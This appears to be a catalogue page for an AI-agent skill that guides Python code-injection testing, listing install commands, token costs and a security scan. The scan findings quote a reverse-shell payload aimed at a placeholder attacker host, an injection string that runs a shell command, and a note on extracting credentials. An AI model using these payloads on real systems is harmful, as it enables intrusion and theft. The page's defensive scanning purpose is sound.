python-code-injection

python-code-injection is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 48 tokens per session (4,942 once invoked), scanned C, original, GPL-3.0.

A guide to testing Python code-injection flaws in which user input reaches eval, exec, or compile. These functions can interpret text as Python code.

In plain words
What is it for?
It is for authorized reviews of Python web applications that evaluate or compile untrusted input.
Why use it?
It helps separate direct Python code execution from operating-system command injection or template injection and test the correct attack path.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit It is for authorized reviews of Python web applications that evaluate or compile untrusted input.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/blacklanternsecurity/red-run/python-code-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add blacklanternsecurity/red-run --skill python-code-injection
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for python-code-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/python-code-injection.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/python-code-injection)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/python-code-injection"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/python-code-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 48 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,942 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 4 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00048 $0.04942
Opus 5 $0.00024 $0.02471
Sonnet 5 $0.00010 $0.00988
Haiku 4.5 $0.00005 $0.00494

Measured 5d ago against content hash 962daa43e56c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade C, and why

python-code-injection scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

- **Blind injection only, no shell** → extract credentials via DNS/HTTP

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Encoded or obfuscated payloadmediumSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- curl

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

'; import os; os.system('id') #
skills/web/python-code-injection/SKILL.md · 630 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 630 lines · 48 tokens per session scan C 962daa43e56c

Subscribe to this mod's changes

python-code-injection is a skill published in the GitHub repository blacklanternsecurity/red-run (267 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 48 tokens to every session and 4,942 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 4 findings (harvests environment variables, encoded or obfuscated payload, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

matlab

Build, review, migrate, and safely plan MATLAB or GNU Octave numerical workflows, including arrays, tabular/time data, tests, projects, graphics, MAT files, and explicit Python interoperability.

K-Dense-AI/scientific-agent-skills · 42 tokens

pennylane

Hardware-agnostic quantum ML framework with automatic differentiation. Use when training quantum circuits via gradients, building hybrid quantum-classical models, or needing device portability across IBM/Google/Rigetti/IonQ. Best for variational algorithms (VQE, QAOA), quantum neural networks, and integration with…

K-Dense-AI/scientific-agent-skills · 98 tokens

dd-code-generation

Use pup CLI for immediate Datadog operations or generate code for integration into applications.

DataDog/pup · 16 tokens

rocm-kernels

Provides guidance for writing and benchmarking optimized Triton kernels for AMD GPUs (MI355X, R9700) on ROCm, targeting HuggingFace diffusers (LTX-Video, SD3, FLUX) and transformers. Core kernels: RMSNorm, RoPE 3D, GEGLU, AdaLN. Includes XCD swizzle, autotune, diffusers integration patterns, and LTX-Video pipeline…

huggingface/kernels · 93 tokens

holoscan-install-wheel

Install Holoscan SDK Python wheel via pip into a venv. Use for Python installs; not for native C++/apt or Conda installs.

NVIDIA/skills · 37 tokens

typing-exclusion-worker

Python typing exclusion worker: remove assigned mypy exclusion modules in small scoped batches, fix typing issues, run validation, and produce a structured completion summary. Use when running parallel typing-debt workers or when asked to remove modules from pyproject mypy exclusion overrides.

getsentry/skills · 57 tokens